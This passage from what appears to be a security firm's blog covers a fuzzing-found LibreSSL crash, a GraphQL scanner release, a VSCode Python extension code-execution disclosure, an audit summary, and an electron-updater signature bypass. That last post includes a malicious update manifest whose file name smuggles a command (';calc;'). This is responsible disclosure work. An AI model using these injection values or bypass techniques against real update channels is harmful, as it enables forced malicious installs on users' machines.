were awarded a bounty, and we helped to protect the Internet just a little bit more. You should do it too!/p h2 id=heartbreakHeartbreak/h2 pAfter a crash was found, a href=https://opensource.google.com/projects/oss-fuzzOSS-Fuzz infrastructure/a provides a minimized test case which can be inspected by an analyst. The issue was found in the a href=https://www.itu.int/en/ITU-T/asn1/Pages/introduction.aspxASN1 parser/a. a href=https://www.itu.int/en/ITU-T/asn1/Pages/introduction.aspxASN1/a is a formal notation used for describing data transmitted by telecommunications protocols, regardless of language implementation and physical representation of these data, whether complex or very simple. Coincidentally, it is employed for a href=https://www.itu.int/rec/T-REC-X.509x.509 certificates/a, which represents the technical base for building a href=https://en.wikipedia.org/wiki/Public_key_certificatepublic-key infrastructure/a./p pPassing our testcase code class=language-plaintext highlighter-rouge0202 ff25/code through a href=https://manpages.debian.org/stretch/dumpasn1/dumpasn1.1.en.htmldumpasn1/a it’s possible to see how it errors out saying that the integer of length 2 (bytes) is encoded with a negative value. This is not allowed in a href=https://www.itu.int/en/ITU-T/asn1/Pages/introduction.aspxASN1/a, and it should not even be allowed in a href=https://www.libressl.org/LibreSSL/a. However, as discovered by a href=https://opensource.google.com/projects/oss-fuzzOSS-Fuzz/a, this test crashes the a href=https://www.libressl.org/Libressl parser/a./p div class=language-bash highlighter-rougediv class=highlightpre class=highlightcodespan class=nv$ /spanxxd ./test xxd ../test 00000000: 0202 ff25 ...% span class=nv$ /spandumpasn1 ./test 0 2: INTEGER 65317 : Error: Integer is encoded as a negative value. 0 warnings, 1 error. /code/pre/div/div pSince the LibreSSL implementation was not guarded against negative integers, trying to covert the ASN1 integer crafted a negative to an internal representation of BIGNUM and causes an uncontrolled over-read./p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodeAddressSanitizer:DEADLYSIGNAL ================================================================= ==1==ERROR: AddressSanitizer: SEGV on unknown address 0x00009fff8000 (pc 0x00000058a308 bp 0x7ffd3e8b7bb0 sp 0x7ffd3e8b7b40 T0) ==1==The signal is caused by a READ memory access. SCARINESS: 20 (wild-addr-read) #0 0x58a307 in BN_bin2bn libressl/crypto/bn/bn_lib.c:601:19 #1 0x6cd5ac in ASN1_INTEGER_to_BN libressl/crypto/asn1/a_int.c:456:13 #2 0x6a39dd in i2s_ASN1_INTEGER libressl/crypto/x509v3/v3_utl.c:175:16 #3 0x571827 in asn1_print_integer_ctx libressl/crypto/asn1/tasn_prn.c:457:6 #4 0x571827 in asn1_primitive_print libressl/crypto/asn1/tasn_prn.c:556 #5 0x571827 in asn1_item_print_ctx libressl/crypto/asn1/tasn_prn.c:239 #6 0x57069a in ASN1_item_print libressl/crypto/asn1/tasn_prn.c:195:9 #7 0x4f4db0 in FuzzerTestOneInput libressl.fuzzers/asn1.c:282:13 #8 0x7fd3f5 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/libfuzzer/FuzzerLoop.cpp:529:15 #9 0x7bd746 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/libfuzzer/FuzzerDriver.cpp:286:6 #10 0x7c9273 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/libfuzzer/FuzzerDriver.cpp:715:9 #11 0x7bcdbc in main /src/libfuzzer/FuzzerMain.cpp:19:10 #12 0x7fa873b8282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/libc-start.c:291 #13 0x41db18 in _start /code/pre/div/div pThis “wild” address read may be employed by malicious actors to perform leaks in security sensitive context. The a href=https://www.libressl.org/Libressl/a maintainers team not only addressed the vulnerability promptly but also included an ulterior protection in order to guard against missing code class=language-plaintext highlighter-rougeASN1_PRIMITIVE_FUNCS/code in a href=https://github.com/libressl-portable/openbsd/commit/46e7ab1b335b012d6a1ce84e4d3a9eaa3a3355d9code class=language-plaintext highlighter-rouge46e7ab1b335b012d6a1ce84e4d3a9eaa3a3355d9/code/a./p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodecommit 46e7ab1b335b012d6a1ce84e4d3a9eaa3a3355d9 Author: jsing lt;gt; Date: Mon Apr 1 15:48:04 2019 +0000 Require all ASN1_PRIMITIVE_FUNCS functions to be provided. If an ASN.1 item provides its own ASN1_PRIMITIVE_FUNCS functions, require all functions to be provided (currently excluding prim_clear). This avoids situations such as having a custom allocator that returns a specific struct but then is then printed using the default primative print functions, which interpret the memory as a different struct. /code/pre/div/div h2 id=closing-the-door-to-strangersClosing the door to strangers/h2 pa href=https://en.wikipedia.org/wiki/FuzzingFuzzing/a, despite being seen as one of the easiest ways to discover security vulnerabilities, still works very well. Even if a href=https://opensource.google.com/projects/oss-fuzzOSS-Fuzz/a is especially tailored to open source projects, it can also be adapted to closed source projects. In fact, at the cost of implementing the code class=language-plaintext highlighter-rougeLLVMFuzzerOneInput/code interface, it integrates all the latest and greatest clang/llvm fuzzer technology. As Dockerfile language improves enormously on the devops side, we strongly believe that the a href=https://opensource.google.com/projects/oss-fuzzOSS-Fuzz/a fuzzing interface definition language should be employed in every non-trivial closed source project too. If you need help, contact us for your a href=https://doyensec.com/automation.htmlsecurity automation/a projects!/p pAs always, this research was funded thanks to the a href=https://doyensec.com/research.html25% research time offered at Doyensec/a. Tune in again for new episodes!/p

InQL Scanner

25 March 2020 at 23:00
h3 id=inql-is-now-publicInQL is now public!/h3 pAs a part of our continuing security research journey, we started developing an internal tool to speed-up GraphQL security testing efforts. We’re excited to announce that InQL is a href=https://github.com/doyensec/inqlavailable on Github/a./p div style=text-align: center; img src=../../../public/images/dslovegraphql.jpg title=Doyensec Loves GraphQL alt=Doyensec Loves GraphQL align=center style=display: block; margin-left: auto; margin-right: auto; / /div pInQL can be used as a stand-alone script, or as a a href=https://portswigger.net/burpBurp Suite/a extension (available for both Professional and Community editions). The tool leverages GraphQL built-in a href=https://graphql.org/learn/introspection/introspection query/a to dump emqueries/em, emmutations/em, emsubscriptions/em, fields, arguments and retrieve default and custom objects. This information is collected and then processed to construct API endpoints documentation in the form of HTML and JSON schema. InQL is also able to generate query templates for all the known types. The scanner has the ability to identify basic query types and replace them with placeholders that will render the query ready to be ingested by a remote API endpoint./p pWe believe this feature, combined with the ability to send query templates to Burp’s Repeater, will decrease the time to exploit vulnerabilities in GraphQL endpoints and drastically lower the bar for security research against GraphQL tech stacks./p h3 id=inql-scanner-burp-suite-extensionInQL Scanner Burp Suite Extension/h3 pUsing the code class=language-plaintext highlighter-rougeinql/code extension for Burp Suite, you can:/p ul liSearch for known GraphQL URL paths; the tool will grep and match known values to detect GraphQL endpoints within the target website/li liSearch for exposed GraphQL development consoles (emGraphiQL/em, emGraphQL Playground/em, and other common utilities)/li liUse a custom GraphQL tab displayed on each HTTP request/response containing GraphQL/li liLeverage the template generation by sending those requests to Burp’s Repeater tool/li liConfigure the tool by using a custom settings tab/li /ul video controls= preload=auto width=100% height=100% poster=/public/images/inql_preview.png source src=/public/images/inql_demo.mp4 type=video/mp4 / Your browser does not support the video tag. /video h4 id=enabling-inql-scanner-extension-in-burpEnabling InQL Scanner Extension in Burp/h4 pTo use code class=language-plaintext highlighter-rougeinql/code in Burp Suite, import the Python extension:/p ul liDownload the latest a href=https://www.jython.org/downloadJython/a Jar/li liDownload the latest version of a href=https://github.com/doyensec/inql/releases/InQL scanner/a/li liStart Burp Suite/li liExtender Tab gt; Options gt; Python Enviroment gt; Set the location of Jython standalone JAR/li liExtender Tab gt; Extension gt; Add gt; Extension Type gt; Select Python/li liExtension File gt; Set the location of code class=language-plaintext highlighter-rougeinql_burp.py/code gt; Next/li liThe output window should display the following message: code class=language-plaintext highlighter-rougeInQL Scanner Started!/code/li /ul pIn the next future, we might consider integrating the extension within Burp’s BApp Store./p h3 id=inql-demoInQL Demo/h3 pWe completely revamped the command line interface in light of InQL’s public release. This interface retains most of the Burp plugin functionalities./p pIt is now possible to install the tool with code class=language-plaintext highlighter-rougepip/code and run it through your favorite CLI./p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodepip install inql /code/pre/div/div pFor all supported options, check the command line help:/p div class=language-bash highlighter-rougediv class=highlightpre class=highlightcodeusage: inql span class=o[/spanspan class=nt-h/spanspan class=o]/span span class=o[/spanspan class=nt-t/span TARGET] span class=o[/spanspan class=nt-f/span SCHEMA_JSON_FILE] span class=o[/spanspan class=nt-k/span KEY] span class=o[/spanspan class=nt-p/span PROXY] span class=o[/spanspan class=nt--header/span HEADERS HEADERS] span class=o[/spanspan class=nt-d/spanspan class=o]/span span class=o[/spanspan class=nt--generate-html/spanspan class=o]/span span class=o[/spanspan class=nt--generate-schema/spanspan class=o]/span span class=o[/spanspan class=nt--generate-queries/spanspan class=o]/span span class=o[/spanspan class=nt--insecure/spanspan class=o]/span span class=o[/spanspan class=nt-o/span OUTPUT_DIRECTORY] InQL Scanner optional arguments: span class=nt-h/span, span class=nt--help/span show this span class=nbhelp /spanmessage and span class=nbexit/span span class=nt-t/span TARGET Remote GraphQL Endpoint span class=o(/spanhttps://lt;Target_IPgt;/graphqlspan class=o)/span span class=nt-f/span SCHEMA_JSON_FILE Schema file span class=kin /spanJSON format span class=nt-k/span KEY API Authentication Key span class=nt-p/span PROXY IP of web proxy to go through span class=o(/spanhttp://127.0.0.1:8080span class=o)/span span class=nt--header/span HEADERS HEADERS span class=nt-d/span Replace known GraphQL arguments types with placeholder values span class=o(/spanuseful span class=kfor /spanBurp Suitespan class=o)/span span class=nt--generate-html/span Generate HTML Documentation span class=nt--generate-schema/span Generate JSON Schema Documentation span class=nt--generate-queries/span Generate Queries span class=nt--insecure/span Accept any SSL/TLS certificate span class=nt-o/span OUTPUT_DIRECTORY Output Directory /code/pre/div/div pAn example query can be performed on one of the numerous a href=https://github.com/APIs-guru/graphql-apisexposed APIs/a, e.g code class=language-plaintext highlighter-rougeanilist.co/code endpoints:/p div class=language-bash highlighter-rougediv class=highlightpre class=highlightcodespan class=nv$ $ /spaninql span class=nt-t/span https://anilist.co/graphql span class=o[/span+] Writing Queries Templates | Page | Media | MediaTrend | AiringSchedule | Character | Staff | MediaList | MediaListCollection | GenreCollection | MediaTagCollection | User | Viewer | Notification | Studio | Review | Activity | ActivityReply | Following | Follower | Thread | ThreadComment | Recommendation | Like | Markdown | AniChartUser | SiteStatistics span class=o[/span+] Writing Queries Templates | UpdateUser | SaveMediaListEntry | UpdateMediaListEntries | DeleteMediaListEntry | DeleteCustomList | SaveTextActivity | SaveMessageActivity | SaveListActivity | DeleteActivity | ToggleActivitySubscription | SaveActivityReply | DeleteActivityReply | ToggleLike | ToggleLikeV2 | ToggleFollow | ToggleFavourite | UpdateFavouriteOrder | SaveReview | DeleteReview | RateReview | SaveRecommendation | SaveThread | DeleteThread | ToggleThreadSubscription | SaveThreadComment | DeleteThreadComment | UpdateAniChartSettings | UpdateAniChartHighlights span class=o[/span+] Writing Queries Templates span class=o[/span+] Writing Queries Templates /code/pre/div/div pThe resulting HTML documentation page will contain details for all available queries, mutations, and subscriptions./p h4 id=stay-tunedStay tuned!/h4 pBack in May 2018, we published a a href=https://blog.doyensec.com/2018/05/17/graphql-security-overview.htmlblog post/a on GraphQL security where we focused on vulnerabilities and misconfigurations. As part of that research effort, we developed a simple script to query GraphQL endpoints. After the publication, we received a lot of positive feedbacks that sparked even more interest in further developing the concept. Since then, we have refined our GraphQL testing methodologies and tooling. As part of our standard customer engagements, we often perform testing against GraphQL technologies, hence we expect to continue our research efforts in this space. Going forward, we will keep improving detection and make the tool more stable./p pThis project was made with love in the a href=https://doyensec.com/research.htmlDoyensec Research island/a./p

Don't Clone That Repo: Visual Studio Code^2 Execution

15 March 2020 at 23:00
pThis is the story of how I stumbled upon a code execution vulnerability in the a href=https://marketplace.visualstudio.com/items?itemName=ms-python.pythonVisual Studio Code Python/a extension. It currently has strong16.5M+/strong installs reported in the extension marketplace./p video controls= preload=auto width=100% height=100% poster=/public/images/VSCode_RCE_2020Q1_PoC_snapshot.jpg source src=/public/images/VSCode_RCE_2020Q1_PoC.mp4 type=video/mp4 / Your browser does not support the video tag. /video pbr //p h2 id=the-bugThe bug/h2 pSome time ago I was reviewing a client’s Python web application when I noticed a warning/p pimg src=/public/images/pylint_not_installed_warning.png alt=VSCode pylint not installed warning //p pFair enough, I thought, I just need to install code class=language-plaintext highlighter-rougepylint/code./p pTo my surprise, after running code class=language-plaintext highlighter-rougepip install --user pylint/code the warning was still there. Then I noticed code class=language-plaintext highlighter-rougevenv-test/code displayed on the lower-left of the editor window. Did VSCode just automatically select the Python environment from the project folder?! To confirm my hypothesis, I installed code class=language-plaintext highlighter-rougepylint/code inside that virtualenv and the warning disappeared./p pimg src=/public/images/pylint_not_installed_warning_fullscreen.png alt=VSCode pylint not installed warning full window screenshot //p pThis seemed sketchy, so I added code class=language-plaintext highlighter-rougeos.exec(/Applications/Calculator.app)/code to one of code class=language-plaintext highlighter-rougepylint/code sources and a calculator spawned. strongEasiest code execution ever!/strong/p pVSCode behaviour is dangerous since the virtualenv found in a project folder is activated without user interaction. Adding a malicious folder to the workspace and opening a python file inside the project is sufficient to trigger the vulnerability. Once a virtualenv is found, VSCode saves its path in code class=language-plaintext highlighter-rouge.vscode/settings.json/code. If found in the cloned repo, this value is loaded and trusted without asking the user. In practice, it is possible to hide the virtualenv in any repository./p pThe behavior is not in VSCode core, but rather in the Python extension. We contacted Microsoft on the 2nd October 2019, however strongthe vulnerability is still not patched/strong at the time of writing. Given that the industry-standard 90 days expired and the issue is exposed in a a href=https://github.com/microsoft/vscode-python/issues/7805GitHub issue/a, we have decided to disclose the vulnerability./p h2 id=poc--gtfoPoC || GTFO/h2 pYou can try for yourself! This innocuous PoC repo opens emCalculator.app/em on macOS:/p ul li1) code class=language-plaintext highlighter-rougegit clone [email protected]:doyensec/VSCode_PoC_Oct2019.git/code/li li2) add the cloned repo to the VSCode workspace/li li3) open code class=language-plaintext highlighter-rougetest.py/code in VScode/li /ul pThis repo contains a “malicious” settings.json which selects the virtualenv in code class=language-plaintext highlighter-rougetotally_innocuous_folder/no_seriously_nothing_to_see_here/code./p pIn case of a bare-bone repo like this noticing the virtualenv might be easy, but it’s clear to see how one might miss it in a real-life codebase. Moreover, it is certainly undesirable that VSCode executes code from a folder by just opening a Python file in the editor./p h2 id=disclosure-timelineDisclosure Timeline/h2 ul liem2nd Oct 2019/em: Issue discovered/li liem2nd Oct 2019/em: Security advisory sent to Microsoft/li liem8th Oct 2019/em: Response from Microsoft, issue opened on vscode-python bug tracker a href=https://github.com/microsoft/vscode-python/issues/7805#7805/a/li liem7th Jan 2020/em: Asked Microsoft for a resolution timeframe/li liem8th Jan 2020/em: Microsoft replies that the issue should be fixed by mid-April 2020/li liem16th Mar 2020/em: Doyensec advisory and blog post is published/li /ul h3 id=editsEdits/h3 ul liem17th Mar 2020/em: The blogpost stated that the extension is bundled by default with the editor. That is not the case, and we removed that claim. Thanks a href=https://twitter.com/[email protected]/a for pointing this out!/li /ul

2019 Gravitational Security Audit Results

1 March 2020 at 23:00
blockquote pThis is a re-post of the original blogpost published by a href=https://gravitational.com/blog/security-audit-2019-1/Gravitational/a on the 2019 security audit results for their two products: a href=https://gravitational.com/teleport/Teleport/a and a href=https://gravitational.com/gravityGravity/a./p pYou can download the security testing deliverables for a href=https://doyensec.com/resources/Doyensec_Gravitational_Teleport_Report_Q22019_WithRetesting.pdfTeleport/a and a href=https://doyensec.com/resources/Doyensec_Gravitational_Gravity_Report_Q22019_WithRetesting.pdfGravity/a from our research page./p pWe would like to take this opportunity to thank the Gravitational engineering team for choosing Doyensec and working with us to ensure a successful project execution./p /blockquote pWe now live in an era where the security of all layers of the software stack are immensely important, and simply open sourcing a code base is not enough to ensure that security vulnerabilities surface and are addressed. At Gravitational, we see it as a necessity to engage a third party that specializes in acting as an adversary, and provide an independent analysis of our sources./p div style=text-align: center; img src=../../../public/images/gravisecurityaudit.png width=100% title=2019 Gravitational Security Audit Results alt=2019 Gravitational Security Audit Results align=center style=display: block; margin-left: auto; margin-right: auto; / /div pThis year, we had an opportunity to work with a href=https://www.doyensec.com/Doyensec/a, which provided the most thorough independent analysis of Gravity and Teleport to date. The Doyensec team did an amazing job at finding areas where we are weak in the Gravity code base. Here is the full report for a href=https://doyensec.com/resources/Doyensec_Gravitational_Teleport_Report_Q22019_WithRetesting.pdfTeleport/a and a href=https://doyensec.com/resources/Doyensec_Gravitational_Gravity_Report_Q22019_WithRetesting.pdfGravity/a; and you can find all of our security audits a href=https://gravitational.com/resources/audits/here/a./p h2 id=gravityGravity/h2 pGravity has a lot of moving components. As a Kubernetes distribution and distributed system for delivering Kubernetes in many unique environments, the product’s attack surface isn’t small./p pAll flaws considered medium or higher except for one were patched and released as they were reported by the Doyensec team, and we’ve also been working towards addressing the more minor and informational issues as part of our normal release process. Out of the four vulnerabilities rated as high by Doyensec, we’ve managed to patch three of them, and the fourth relies on a significant investment in design and tooling change which we’ll go into in a moment./p h3 id=insecure-decompression-of-application-bundlesInsecure Decompression of Application Bundles/h3 pPart of what Gravity does is package applications into an installer that can be taken to on-prem and air-gapped environments, installing a fully working Kubernetes cluster and application without dependencies. As such, we build our artifacts as a tar file - a virtually universally supported archive format./p pAlong with this, our own tooling is able to process and accept these tar archives, which is where we run into problems. Golang’s tar handling code is extremely basic and this allows very old tar handling problems to surface, granting specially crafted tar files the ability to overwrite arbitrary system files and allowing for remote code execution. Our tar handling has now been hardened against such vulnerabilities, and we’ll write a post digging into just this topic soon./p h3 id=remote-code-execution-via-malicious-auth-connectorRemote Code Execution via Malicious Auth Connector/h3 pWhen using our cli tools to do single sign on, we launch a browser for the user to the single sign on page. This was done by passing a url from the server to the client to tell it where the SSO page is located./p pSomeone with access to the server is able to change the url to be a non http(s) url and execute programs locally on the cli host. We’ve implemented sanitization of the url passed by the server to enforce http(s), and also changed the design of some new features to not require trusting data from a server./p h3 id=missing-acls-in-the-apiMissing ACLs in the API/h3 pPerhaps the most embarrassing issue in this list - the API endpoints responsible for managing API tokens were missing authorization ACLs. This allowed for any authenticated user, even those with empty permissions, to access, edit, and create tokens for other users. This would allow for user impersonation and privilege escalation. This vulnerability was quickly addressed by implementing the correct ACLs, and the team is working hard to ensure these types of vulnerabilities do not reoccur./p h3 id=missing-signature-verification-in-application-bundlesMissing Signature Verification in Application Bundles/h3 pThis is the vulnerability we haven’t been able to address so far, as it was never a design objective to protect against this particular vulnerability./p pGravity includes a hub product for enterprise customers that allows for the storage and download of application assets, either for installation or upgrade. In essence, part of the hub product is to act as a file server where a company can store their application, and internally or publically connect deployed clusters for updates./p pThe weakness in the model, as has been seen by many public artifact repositories, is that this security model relies on the integrity of the system storing those assets./p pWhile not necessarily a vulnerability on its own, this is a design weakness that doesn’t match the capabilities the security community expects. The security is roughly equivalent to posting a binary build to Github - anyone with the correct access can modify or post malicious assets, and anyone who trusts Github when downloading that asset could be getting a malicious asset. Instead, packages should be signed in some way before being posted to a public download server, and the software should have a method for trusting that updates and installs come from a trusted source./p pThis is a really difficult problem that many companies have gotten wrong, so it’s not something that Gravitational as an organization is willing to rush a solution for. There are several well known models that we are evaluating, but we’re not at a stage where we have a solution that we’re completely happy with./p pIn this realm, we’re also going to end-of-life the hub product as the asset storage functionality is not widely used. We’re also going move the remote access functionality that our customers do care about over to our Teleport product./p h2 id=teleportTeleport/h2 pAs we mentioned in the Teleport 4.2 release notes, the most serious issues were centered around the incorrect handling of session data. If an attacker was able to gain valid x509 credentials of a Teleport node, they could use the session recording facility to read/write arbitrary files on the Auth Server or potentially corrupt recorded session data./p pThese vulnerabilities could be only exploited using credentials from a previously authenticated client. There was no known way to exploit this vulnerability outside the cluster by non-authenticated clients./p pAfter the re-assessment, all issues with any direct security impact were addressed. From the report:/p blockquote pIn January 2020, Doyensec performed a retesting of the Teleport platform and confirmed the effectiveness of the applied mitigations. All issues with direct security impact have been addressed by Gravitational./p /blockquote pEven though all direct issues were mitigated, there was one issue in the report that continued to bother us and we felt we could do better on: “#6: Session Recording Bypasses”. This is something we had known about for quite some time and something we have been upfront with to users and customers. Session recording is a great feature, however due to the inherent complexity of the problem being solved, bypasses do exist./p pTeleport 4.2 introduced a new feature called a href=https://gravitational.com/teleport/docs/features/enhanced_session_recording/Enhanced Session Recording/a that uses eBPF tooling to substantially reduce the bypass gaps that can exist. We’ll have more to share on that soon in the form of another blog post that will go into the technical implementation details for that feature./p

Signature Validation Bypass Leading to RCE In Electron-Updater

23 February 2020 at 23:00
blockquote pWe’ve been made aware that the vulnerability discussed in this blog post has been independently discovered and disclosed to the public by a well-known a href=https://twitter.com/julianor/status/1228708674585157632security researcher/a. Since the security issue is now public and it is over 90 days from our initial disclosure to the maintainer, we have decided to publish the details - even though the fix available in the latest version of Electron-Builder does not fully mitigate the security flaw./p /blockquote pa href=https://github.com/electron-userland/electron-builderElectron-Builder/a advertises itself as a “emcomplete solution to package and build a ready for distribution Electron app with auto update support out of the box/em”. For macOS and Windows, code signing and verification are also supported. At the time of writing, the package counts around 100k weekly downloads, and it is being used by ~36k projects with over 8k stargazers. br //p div style=text-align: center; img src=../../../public/images/electron-builder-repository.jpg title=Electron-Builder repository alt=Electron-Builder repository align=center style=display: block; margin-left: auto; margin-right: auto; / /div pThis software is commonly used to build platform-specific packages for ElectronJs-based applications and it is frequently employed for software updates as well. The auto-update feature is provided by its a href=https://github.com/electron-userland/electron-builder/tree/master/packages/electron-updaterelectron-updater/a submodule, internally using a href=https://github.com/Squirrel/Squirrel.MacSquirrel.Mac/a for macOS, a href=https://en.wikipedia.org/wiki/Nullsoft_Scriptable_Install_SystemNSIS/a for Windows and a href=https://appimage.org/AppImage/a for Linux. In particular, it features a a href=https://www.electron.build/code-signingdual code-signing/a method for Windows (supporting SHA1 amp; SHA256 hashing algorithms)./p h3 id=a-fail-open-designA Fail Open Design/h3 pAs part of a security engagement for one of our customers, we have reviewed the update mechanism performed by Electron Builder, and discovered an overall lack of secure coding practices. In particular, we identified a vulnerability that can be leveraged to bypass the signature verification check hence leading to remote command execution./p pThe signature verification check performed by electron-builder is simply based on a string comparison between the installed binary’s code class=language-plaintext highlighter-rougepublisherName/code and the certificate’s emCommon Name/em attribute of the update binary. During a software update, the application will request a file named code class=language-plaintext highlighter-rougelatest.yml/code from the update server, which contains the definition of the new release - including the binary filename and hashes./p pTo retrieve the update binary’s publisher, the module executes a href=https://github.com/electron-userland/electron-builder/blob/a0026a7422977b449709f8a662d9dd30600a31b1/packages/electron-updater/src/windowsExecutableCodeSignatureVerifier.ts#L13-L43the following code/a leveraging the native a href=https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-authenticodesignature?view=powershell-7Get-AuthenticodeSignature/a cmdlet from Microsoft.PowerShell.Security:/p div class=language-shell highlighter-rougediv class=highlightpre class=highlightcode execFilespan class=o(/spanspan class=s2powershell.exe/span, span class=o[/spanspan class=s2-NoProfile/span, span class=s2-NonInteractive/span, span class=s2-InputFormat/span, span class=s2None/span, span class=s2-Command/span, span class=sb`/spanGet-AuthenticodeSignature span class=s1'${tempUpdateFile}'/span | ConvertTo-Json span class=nt-Compress/spanspan class=sb`/spanspan class=o]/span, span class=o{/span span class=nbtimeout/span: 20 span class=k*/span 1000 span class=o}/span, span class=o(/spanerror, stdout, stderrspan class=o)/span span class=o=gt;/span span class=o{/span try span class=o{/span span class=kif/span span class=o(/spanerror span class=o!=/span null span class=o||/span stderrspan class=o)/span span class=o{/span handleErrorspan class=o(/spanlogger, error, stderrspan class=o)/span resolvespan class=o(/spannullspan class=o)/span span class=kreturn/span span class=o}/span const data span class=o=/span parseOutspan class=o(/spanstdoutspan class=o)/span span class=kif/span span class=o(/spandata.Status span class=o===/span 0span class=o)/span span class=o{/span const name span class=o=/span parseDnspan class=o(/spandata.SignerCertificate.Subjectspan class=o)/span.getspan class=o(/spanspan class=s2CN/spanspan class=o)!/span span class=kif/span span class=o(/spanpublisherNames.includesspan class=o(/spannamespan class=o))/span span class=o{/span resolvespan class=o(/spannullspan class=o)/span span class=kreturn/span span class=o}/span span class=o}/span const result span class=o=/span span class=sb`/spanpublisherNames: span class=k${/spanspan class=nvpublisherNames/spanspan class=p.join(/spanspan class=s2 | /spanspan class=p)/spanspan class=k}/span, raw info: span class=sb`/span + JSON.stringifyspan class=o(/spandata, span class=o(/spanname, valuespan class=o)/span span class=o=gt;/span name span class=o===/span span class=s2RawData/span ? undefined : value, 2span class=o)/span logger.warnspan class=o(/spanspan class=sb`/spanSign verification failed, installer signed with incorrect certificate: span class=k${/spanspan class=nvresult/spanspan class=k}/spanspan class=sb`/spanspan class=o)/span resolvespan class=o(/spanresultspan class=o)/span span class=o}/span catch span class=o(/spanespan class=o)/span span class=o{/span logger.warnspan class=o(/spanspan class=sb`/spanCannot execute Get-AuthenticodeSignature: span class=k${/spanspan class=nverror/spanspan class=k}/spanspan class=nb./span Ignoring signature validation due to unknown error.span class=sb`/spanspan class=o)/span resolvespan class=o(/spannullspan class=o)/span span class=kreturn/span span class=o}/span span class=o})/span /code/pre/div/div pwhich translates to the following PowerShell command:/p div class=language-shell highlighter-rougediv class=highlightpre class=highlightcodepowershell.exe span class=nt-NoProfile/span span class=nt-NonInteractive/span span class=nt-InputFormat/span None span class=nt-Command/span span class=s2Get-AuthenticodeSignature 'C:/spanspan class=se\U/spanspan class=s2sers/spanspan class=se\lt;/spanspan class=s2USERgt;/spanspan class=se\A/spanspan class=s2ppData/spanspan class=se\R/spanspan class=s2oaming/spanspan class=se\lt;/spanspan class=s2vulnerable app namegt;/spanspan class=se\_/spanspan class=s2_update__/spanspan class=se\lt;/spanspan class=s2update namegt;.exe' | ConvertTo-Json -Compress/span /code/pre/div/div pSince the code class=language-plaintext highlighter-rouge${tempUpdateFile}/code variable is provided unescaped to the code class=language-plaintext highlighter-rougeexecFile/code utility, an attacker could bypass the entire signature verification by triggering a parse error in the script. This can be easily achieved by using a filename containing a single quote and then by recalculating the file hash to match the attacker-provided binary (using code class=language-plaintext highlighter-rougeshasum -a 512 maliciousupdate.exe | cut -d -f1 | xxd -r -p | base64/code)./p pFor instance, a malicious update definition would look like:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodeversion: 1.2.3 files: - url: v’ulnerable-app-setup-1.2.3.exe sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZ[...]tkYPEvMxDWgNkb8tPCNZLTbKWcDEOJzfA== size: 44653912 path: v'ulnerable-app-1.2.3.exe sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZr1[...]ZrR5X1kb8tPCNZLTbKWcDEOJzfA== releaseDate: '2019-11-20T11:17:02.627Z' /code/pre/div/div pWhen serving a similar code class=language-plaintext highlighter-rougelatest.yml/code to a vulnerable Electron app, the attacker-chosen setup executable will be run without warnings. Alternatively, they may leverage the lack of escaping to pull out a trivial command injection:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodeversion: 1.2.3 files: - url: v';calc;'ulnerable-app-setup-1.2.3.exe sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZ[...]tkYPEvMxDWgNkb8tPCNZLTbKWcDEOJzfA== size: 44653912 path: v';calc;'ulnerable-app-1.2.3.exe sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZr1[...]ZrR5X1kb8tPCNZLTbKWcDEOJzfA== releaseDate: '2019-11-20T11:17:02.627Z' /code/pre/div/div pFrom an attacker’s standpoint, it would be more practical to backdoor the installer and then leverage preexisting electron-updater features like a href=https://github.com/electron-userland/electron-builder/blob/master/packages/electron-updater/src/NsisUpdater.ts#L115isAdminRightsRequired/a to run the installer with emAdministrator/em privileges./p div style=text-align: center; img src=../../../public/images/screen-electron-updater-poc.png title=PoC Reproduction of the command injection by using Burp's interception feature alt=PoC Reproduction of the command injection by using Burp's interception feature align=center style=display: block; margin-left: auto; margin-right: auto; / /div h3 id=impactImpact/h3 pAn attacker could leverage this fail open design to force a malicious update on Windows clients, effectively gaining code execution and persistence capabilities. This could be achieved in several scenarios, such as a service compromise of the update server, or an advanced MITM attack leveraging the lack of certificate validation/pinning against the update server./p h3 id=disclosure-timelinesDisclosure Timelines/h3 pDoyensec contacted the main project maintainer on emNovember 12th, 2019/em providing a full description of the vulnerability together with a Proof-of-Concept. After multiple solicitations, on emJanuary 7th, 2020/em Doyensec received a reply acknowledging the bug but downplaying the risk./p pAt the same time (emNovember 12th, 2019/em), we identified and reported this issue to a number of affected popular applications using the vulnerable electron-builder update mechanism on Windows, including:/p ul lia href=https://github.com/Automattic/wp-desktopWordpress for Desktop/a - emStill vulnerable in v4.7.0/em/li lia href=https://github.com/iotaledger/trinity-wallet/IOTA Trinity Wallet/a - emAuto-updates feature has been disabled for Windows (a href=https://github.com/iotaledger/trinity-wallet/pull/2566#2566/a, a href=https://github.com/iotaledger/trinity-wallet/pull/2588#2588/a)/em/li lia href=https://github.com/meetalva/alvaAlva/a - emStill vulnerable in v0.9.2/em/li lia href=https://github.com/mymonero/mymonero-app-jsMyMonero/a - emStill vulnerable in v1.1.13/em/li lia href=https://github.com/cozy-labs/cozy-desktopCozy Drive/a - emStill vulnerable in v3.19.0/em/li /ul pOn emFebruary 15th, 2020/em, we’ve been made aware that the vulnerability discussed in this blog post was discussed on Twitter. On emFebruary 24th, 2020/em, we’ve been informed by the package’s mantainer that the issue was resolved in release a href=https://github.com/electron-userland/electron-builder/releases/tag/v22.3.5v22.3.5/a. While the patch is mitigating the potential command injection risk, the fail-open condition is still in place and we believe that other attack vectors exist. After informing all affected parties, we have decided to publish our technical blog post to emphasize the risk of using Electron-Builder for software updates./p h3 id=mitigationsMitigations/h3 pDespite its popularity, strongwe would suggest moving away from Electron-Builder/strong due to the lack of secure coding practices and responsiveness of the maintainer./p pa href=https://www.electronforge.io/Electron Forge/a represents a potential well-maintained substitute, which is taking advantage of the built-in 